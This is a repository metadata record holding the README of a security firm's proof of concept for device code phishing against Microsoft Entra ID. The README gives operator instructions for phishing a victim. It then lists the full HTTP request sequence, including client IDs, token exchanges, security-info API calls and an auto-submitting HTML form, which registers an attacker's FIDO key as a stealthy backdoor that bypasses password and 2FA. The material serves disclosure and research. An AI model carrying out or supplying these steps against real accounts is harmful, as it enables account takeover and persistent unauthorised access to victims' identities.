{"id":23196674,"url":"https://github.com/compasssecurity/devicecode2securitykey","last_synced_at":"2025-10-25T13:31:44.064Z","repository":{"id":216287677,"uuid":"740501902","full_name":"CompassSecurity/deviceCode2SecurityKey","owner":"CompassSecurity","description":"PoC to add a security key to Entra ID via device code phishing","archived":false,"fork":false,"pushed_at":"2024-01-09T10:15:04.000Z","size":8598,"stargazers_count":11,"open_issues_count":0,"forks_count":1,"subscribers_count":7,"default_branch":"main","last_synced_at":"2024-12-18T14:20:00.076Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/CompassSecurity.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2024-01-08T13:29:49.000Z","updated_at":"2024-09-20T07:19:38.000Z","dependencies_parsed_at":"2024-01-09T12:40:06.105Z","dependency_job_id":null,"html_url":"https://github.com/CompassSecurity/deviceCode2SecurityKey","commit_stats":null,"previous_names":["compasssecurity/devicecode2securitykey"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/CompassSecurity%2FdeviceCode2SecurityKey","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/CompassSecurity%2FdeviceCode2SecurityKey/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/CompassSecurity%2FdeviceCode2SecurityKey/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/CompassSecurity%2FdeviceCode2SecurityKey/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/CompassSecurity","download_url":"https://codeload.github.com/CompassSecurity/deviceCode2SecurityKey/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":238152340,"owners_count":19425075,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-12-18T14:20:00.922Z","updated_at":"2025-10-25T13:31:42.937Z","avatar_url":"https://github.com/CompassSecurity.png","language":"Python","readme":"# Summary\n\nAn attacker is able to register new Security Keys (FIDO) or other Sign-In methods (Authenticator, Email, Phone etc.) after a successful device code phishing attack.\n\nThis allows attackers to fully take over the victims account.\n1. In case of a new Security Key the victims password will be unchanged. Allowing for backdooring the account in a stealthy way.\n2. In case of additional registered Sign-In methods like Email, Phone etc. those could be abused during Self-Service Password Reset. The victims password will be changed. \n\n# PoC Video\nhttps://github.com/CompassSecurity/deviceCode2SecurityKey/assets/44463990/87deb4e5-9757-485c-8bb9-f4767714aa7b\n\n# Prerequisites\n\n## Prerequisites for PoC Code\n1. Install Google-Chrome\n2. pip install browsermob-proxy\n3. pip install webdriver-manager\n4. Download \u0026 extract BrowserMob Proxy binary from http://bmp.lightbody.net/ (https://github.com/lightbody/browsermob-proxy/releases/download/browsermob-proxy-2.1.4/browsermob-proxy-2.1.4-bin.zip)\n5. In the python script change following variables\n\t1. `bmp` set it to the browsermob-proxy binary you downloaded and extracted in step 4\n\t2. `postHtmlFile` this is the HTML file which is opened via Selenium. Specify a path on your system. The script needs just a writable path so the file does not have to exist.\n\nAlso following libs are imported which probably should be available already in the python environment:\n```\nimport requests\nimport json\nimport time\nimport re\n```\nThe PoC Code has no kind of error handling.\n\n## Prerequisites Azure AD\n1. Security Keys must be allowed for authentication.\n\t1. For virtual FIDO keys you must set `Enforce attestation` to \"No\".\n\t2. The PoC works also with the `Enforce attestation` on \"Yes\" and a real FIDO key\n\t3. `Allow self-service` must also be allowed\n\n# PoC Code Steps Explained\n1. Start the script. A user code will be shown. Copy it and perform a device code login flow for your victim.\n2. The PoC polls in the background if the flow was successful. If so it will perform all steps until step 6 of the overview chapter.\n3. The PoC code will open Chrome and display a \"Submit\" button. You can add a virtual FIDO key or plugin a \"real\" one.\n4. Hit \"Submit\" and follow the registration instructions.\n5. After adding the FIDO key the browser will perform some redirects (steps 8.1 and 8.2 of the overview chapter). Since it has no Access Tokens it cannot perform the last step. A sign-in page will be shown.\n6. Return to the script and press Enter. After that the script will take a while to search all response bodies captured. If it finds the necessary parameters it will perform the last step for you.\n7. If \"ErrorCode 0\" is shown then the registration process was successful. \n8. Login with the newly registered FIDO key.\n\n# Overview \n1. Attacker initializes the device code flow on `login.microsoftonline.com` with `amr_values=ngcmfa` on the v1 oauth2 endpoint. The resulting user code is sent to the victim. The victim performs the login with 2FA authentication if needed.\n2. Attacker completes the device code flow on `login.microsoftonline.com` on the corresponding v1 oauth2 endpoint.\n3. The resulting refresh token is used on the v2 oauth2 endpoint of `login.microsoftonline.com` to exchange it for a token which is accepted by `account.activedirectory.windowsazure.com`.\n4. On `account.activedirectory.windowsazure.com` a sessionCtx token must be requested.\n5. On `account.activedirectory.windowsazure.com` the `/securityinfo/AddSecurityInfo` backend is called to add a new FIDO key. The API returns provision data to register the new FIDO key.\n6. The provision data is sent to `login.microsoft.com/{tenant-id}/fido/create`\n7. The FIDO key is added and attestation data is returned.\n8. Two consecutive post requests are performed (automatically done if a browser is used)\n\t1. `account.activedirectory.windowsazure.com/securityInfo/newfido` (does not require additional authentication, the canary value acts as one)\n\t2. `api.mysignins.microsoft.com/api/post/fidopost` (require additional authentication.)\n9. Final API call to complete the FIDO registration on `account.activedirectory.windowsazure.com/securityInfo/VerifySecurityInfo` (Data from step 8.2 are used for this request. Additionally a name can be specified for the device).\n10. Done. Login should now be possible with the FIDO key. Bypassing any password/2fa requirements.\n\n## Detailed Overview\nI assume that you are familiar with device code phishing. Otherwise you will find plenty of blogs etc. about this topic on the Internet. Instead I show here the necessary steps and HTTP calls which have been described above in more detail.\n\n### Step 1\nThis is the initial call for the device code flow. Note that it is requested on the v1 oauth2 endpoint since amr_values is not supported on the v2 endpoint or I just didn't figure out the correct parameter name.\n\nRequest\n```\nPOST https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0 HTTP/1.1\nHost: login.microsoftonline.com\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 110\n\nclient_id=00b41c95-dab0-4487-9791-b9d2c32c80f2\u0026resource=0000000c-0000-0000-c000-000000000000\u0026amr_values=ngcmfa\n```\n\nResponse\n```\nHTTP/1.1 200 OK\n[cut]\n\n{\n    \"device_code\": \"GAQABAAEAAAAtyolDObpQQ5VtlI4uGjEPIj3qY9zcBvFuPgAiFKDJWynYmhiR0TGRrDKJHrKypH12FfCPNP3HOubLhV0Z1AsXdFLhyKAhCy0uTif6oO1fRK1Ld_ctMIUE4kYhGlHeaYsmaBxYdBTpQXhaa3H8sBE78RXskjBUPuted7kHNZ1bPfAp_smDRz-LFMg4Pjxlf8sgAA\",\n    \"expires_in\": \"900\",\n    \"interval\": \"5\",\n    \"message\": \"To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GVNRPQQGE to authenticate.\",\n    \"user_code\": \"GVNRPQQGE\",\n    \"verification_url\": \"https://microsoft.com/devicelogin\"\n}\n```\n\n#### client_id\nThe used `client_id` is the one of `Office 365 Management`. This one is chosen because the resulting access tokens will have the FOCI1 claim. It is possible to use any other `client_id` as long it belongs to the FOC1 family.  See https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv for further `client_ids`. This simplifies also phishing since a `client_id` can be chosen which best matches the phishing story.\n\n#### amr_values\n`amr_values` is set to `ngcmfa`. This claim is required for adding new Security Keys. It is not required if other Sign-in methods (Email, Phone, authenticator) want to be added. The `ngcmfa` claim is also only available for ~15 mins.\n\n#### resource/scope\nAlthough the above call specifies `0000000c-0000-0000-c000-000000000000` (Microsoft App Access Panel) other resources could be requested like MS Graph.\n\n### Step 2\nComplete the device code flow. Parameters must be identical to the initial request.\n\nRequest\n```\nPOST https://login.microsoftonline.com/common/oauth2/token?api-version=1.0 HTTP/1.1\nHost: login.microsoftonline.com\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 361\n\nresource=0000000c-0000-0000-c000-000000000000\u0026grant_type=urn:ietf:params:oauth:grant-type:device_code\u0026client_id=00b41c95-dab0-4487-9791-b9d2c32c80f2\u0026code=GAQABAAEAAAAtyolDObpQQ5VtlI4uGjEPIj3qY9zcBvFuP2AiFKDJWynYmhiR0TGRrDKJHrKypH12FfCPNP3HOubLhV0Z1AsXdFLhyKAhCy0uTif6oO1fRK1Ld_ctMIUE4kYhGlHeaYsmaBxYdBTpQXhaa3H8sBE78RXskjBUPuted7kHNZ1bPfAp_smDRz-LFMg4Pjxlf8sgAA\n```\n\nResponse returns the needed refresh token\n```\nHTTP/1.1 200 OK\n[cut]\n\n{\"token_type\":\"Bearer\",\"scope\":\"user_impersonation\",\"expires_in\":\"599\",\"ext_expires_in\":\"599\",\"expires_on\":\"1694613416\",\"not_before\":\"1694612516\",\"resource\":\"spn:0000000c-0000-0000-c000-000000000000\",\"access_token\":\"[cut]\",\"refresh_token\":\"[cut]\",\"foci\":\"1\",\"id_token\":\"[cut]\"}\n```\n\n### Step 3\nThe refresh token from step 2 is now exchanged for an access token on the v2 oauth2 endpoint.\n```\nPOST https://login.microsoftonline.com/common/oauth2/v2.0/token HTTP/1.1\nHost: login.microsoftonline.com\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 1048\n\nclient_id=00b41c95-dab0-4487-9791-b9d2c32c80f2\u0026scope=0000000c-0000-0000-c000-000000000000/.default\u0026refresh_token=[cut]\u0026grant_type=refresh_token\n```\n\nResponse\n```\nHTTP/1.1 200 OK\n[cut]\n\n{\"token_type\":\"Bearer\",\"scope\":\"0000000c-0000-0000-c000-000000000000/user_impersonation 0000000c-0000-0000-c000-000000000000/.default\",\"expires_in\":1199,\"ext_expires_in\":1199,\"access_token\":\"[cut]\",\"refresh_token\":\"[cut]\",\"foci\":\"1\"}\n```\n\n### Step 4\nWith the access token of step 3 it is now possible to get the `sessionCtx` token from `account.activedirectory.windowsazure.com`.\n\nRequest\n```\nPOST /securityinfo/Authorize HTTP/1.1\nHost: account.activedirectory.windowsazure.com\nContent-Length: 0\nContent-Type: application/json\nAuthorization: Bearer [cut]\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36\nConnection: close\n\n```\n\nResponse\n```\nHTTP/1.1 200 OK\n[cut]\n\n)]}',\n{\n    \"authContextTags\": [],\n    \"isAuthorized\": true,\n    \"isMyStarEnabled\": true,\n    \"promptForLogin\": false,\n    \"requireMfa\": false,\n    \"requireNgcMfa\": false,\n    \"requiresProofUpCodeParam\": false,\n    \"sessionCtx\": \"[cut]\"\n}\n```\n\n### Step 5\nInitial call to add a new FIDO key. Other Type IDs will start different flows to add for example an authenticator app.\n\nRequest\n```\nPOST /securityinfo/AddSecurityInfo HTTP/1.1\nHost: account.activedirectory.windowsazure.com\nContent-Length: 11\nSessionctx: [cut]\nAuthorization: Bearer [cut]\nContent-Type: application/json\nConnection: close\n\n{\"Type\":12}\n```\n\nResponse contains cannary, serverChallenge and other stuff.\n```\nHTTP/1.1 200 OK\n[cut]\n\n)]}',\n{\n    \"Data\": \"{\\\"provisionUrl\\\":\\\"https://login.microsoft.com/925c2cd8-a177-41a5-93f3-1257ffd75111/fido/create\\\",\\\"requestData\\\":{\\\"canary\\\":\\\"[cut]\"]\\\",\\\"serverChallenge\\\":\\\"[cut]\",\\\"userId\\\":\\\"T0Y62CxcknehpUGT8xJX_9dTNKREdZKBNCqeKxFe3H83dJVZUMU9nrlO6ULkw_j9je_Y\\\",\\\"userIconUrl\\\":null,\\\"memberName\\\":\\\"user@insecure.technology\\\",\\\"userDisplayName\\\":\\\"user\\\",\\\"postBackUrl\\\":\\\"https://account.activedirectory.windowsazure.com:443/securityInfo/newfido\\\",\\\"authenticator\\\":\\\"cross-platform\\\"}}\",\n    \"ErrorCode\": 0,\n    \"Type\": 12,\n    \"VerificationContext\": null,\n    \"VerificationState\": 1\n}\n```\n\n### Step 6-8\nSince we want to add a new FIDO key we need a webauthn interface. The easiest solution is to perform this steps in a browser. To do this a HTML page is built from the step 7 returned parameter data. The page will perform the HTTP Post request with the required parameters.\n\nExample HTML site\n```\n\u003chtml\u003e\n  \u003cbody\u003e\n    \u003cform action=\"https://login.microsoft.com/925c2cd8-a177-41a5-93f3-1257ffd75111/fido/create\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"canary\" value=\"[cut]\" /\u003e\n      \u003cinput type=\"hidden\" name=\"ExcludeNextGenCredentialsJSON\" value=\"[]\" /\u003e\n      \u003cinput type=\"hidden\" name=\"serverChallenge\" value=\"[cut]\" /\u003e\n      \u003cinput type=\"hidden\" name=\"userId\" value=\"A0Y62CxcknehpUGT8xJX_9dTNKREdZKBNCqeKxFe3H83dJVZUMU9nrlO6ULkw_j9je_Y\" /\u003e\n      \u003cinput type=\"hidden\" name=\"userIconUrl\" value=\"None\" /\u003e\n      \u003cinput type=\"hidden\" name=\"memberName\" value=\"user@insecure.technology\" /\u003e\n      \u003cinput type=\"hidden\" name=\"userDisplayName\" value=\"user\" /\u003e\n      \u003cinput type=\"hidden\" name=\"postBackUrl\" value=\"https://account.activedirectory.windowsazure.com:443/securityInfo/newfido\" /\u003e\n      \u003cinput type=\"hidden\" name=\"authenticator\" value=\"cross-platform\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n\n```\n\nThe FIDO key can then be added in the browser. The browser will perform two additional post requests (Steps 8.1 and 8.2) after the key has been added. The final Post request requires authentication and can not be completed from the browser since the Access Token and the sessionCtx are not present.\n\n### Step 9\nFinalize the setup with the data received from Step 8.2. A name can be given to the device.\n\nRequest\n```\nPOST /securityinfo/VerifySecurityInfo HTTP/1.1\nHost: account.activedirectory.windowsazure.com\nContent-Length: 12049\nSessionctx: [cut]\nAuthorization: Bearer [cut]\nContent-Type: application/json\nConnection: close\n```\n\nResponse\n```\n{\n    \"Type\": 12,\n    \"VerificationData\": \"{\\\"PostInfo\\\":\\\"\\\",\\\"Name\\\":\\\"AddedByDeviceCodePhishing\\\",\\\"AttestationObject\\\":\\\"[cut]\\\",\\\"Canary\\\":\\\"[cut]\\\",\\\"CredentialId\\\":\\\"jQYMNUgjf6eR5KBIkSMjarAl7cWppvwOCk_6nOedquhy9wX2g9yY6xs_ws1g5I6-\\\",\\\"ClientExtensionResults\\\":\\\"eyJobWFjQ3JlYXRlU2VjcmV0Ijp0cnVlfQ\\\"}\"\n}\n```\n\n### Step 10\nLogin with the new FIDO key.\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcompasssecurity%2Fdevicecode2securitykey","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fcompasssecurity%2Fdevicecode2securitykey","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcompasssecurity%2Fdevicecode2securitykey/lists"}